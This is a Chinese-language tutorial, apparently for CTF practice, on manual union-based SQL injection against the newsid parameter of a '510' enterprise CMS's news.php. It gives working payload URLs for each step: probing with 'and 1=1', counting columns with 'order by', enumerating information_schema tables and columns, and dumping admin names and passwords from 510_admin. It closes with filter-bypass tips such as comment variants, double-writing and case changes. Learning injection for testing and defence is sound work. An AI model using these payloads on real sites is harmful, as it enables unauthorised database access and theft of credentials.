一、查找是否存在SQL注入(注入点)
以510企业网站为例:
这里以漏洞参数id为例
用?id=1
和id=1'
进行测试,前提能够正常显示。
在?id=1
后面加上and 1=1
两个结果都是真的,所以正常输出;
后面加上and 1=2
如果正常输出,说明前后都是真的,则表示是字符型。反之是数值型
eg:
http://IP地址(域名)/news.php?cid=&listid=&newsid=24 and 1=1
二、查找有几列(字段)
后面加上order by数字
即按第几列排序,从而得出有多少列
eg:
http://IP地址(域名)/news.php?cid=&listid=&newsid=24 order by 4
三、查看输出的是哪一列:
根据前面查出的字段数判断哪一列或哪几列输出显示
- 注意前面的
id=(数据库表中没有的值)
- 若为数值型,后面加上一句
and 1=2
,保证union前面的句子值为false
eg:
http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,3,4
http://IP地址(域名)/news.php?cid=&listid=&newsid=24 and 1=2 union select 1,2,3,4
四、查询数据库的一些信息
参数 | 功能 |
---|---|
version() | 获取数据库版本 |
@@version | 获取数据库版本 |
@@datadir | 获取数据库数据路径 |
database() | 获取数据库名 |
user() | 获取用户名 |
eg:
http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,database(),4
五、查询表名
通过select table_name from information_schema.tables where table_schema="
数据库名"
eg:
http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,table_name,4 from information_schema.tables where table_schema="510cms"
六、查询字段名(列名)
在注入的时候可能会出现数据库本身的编码问题
如执行UNION 查询时,报错:Illegal mix of collations for operation 'UNION’
可以用 convert() 进行编码转换如:
如:group_concat(TABLE_NAME)
- group_concat(convert(TABLE_NAME using gbk))
- group_concat(convert(TABLE_NAME using latin1))
- group_concat(convert(TABLE_NAME using binary))
- group_concat(convert(TABLE_NAME using utf-8))
- group_concat(convert(TABLE_NAME using utf8))
其中, Latin1 是 ISO-8859-1 的别名,有些环境下写作 Latin-1。ISO-8859-1 编码是单字节编码, 向下兼容 ASCII。
eg:这里是一次性输出所有字段名,字段间以逗号隔开
http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name="510_admin"
七、查询显示用户名和密码:
eg:
http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,group_concat('name:',name,';passwd:',passwd),4 from 510_admin
有些情况from 数据库名.表名
总结
归根结底要具备数据库知识懂得数据库原理。
注意:
我们这里的例子是十分直接的,一般的题目是没这么直接的,
遇到--
或者--+
没有办法使用的时候,我们可以试试#
。
再比如有时候会有过滤。我们可以尝试双写或者大小写来绕过。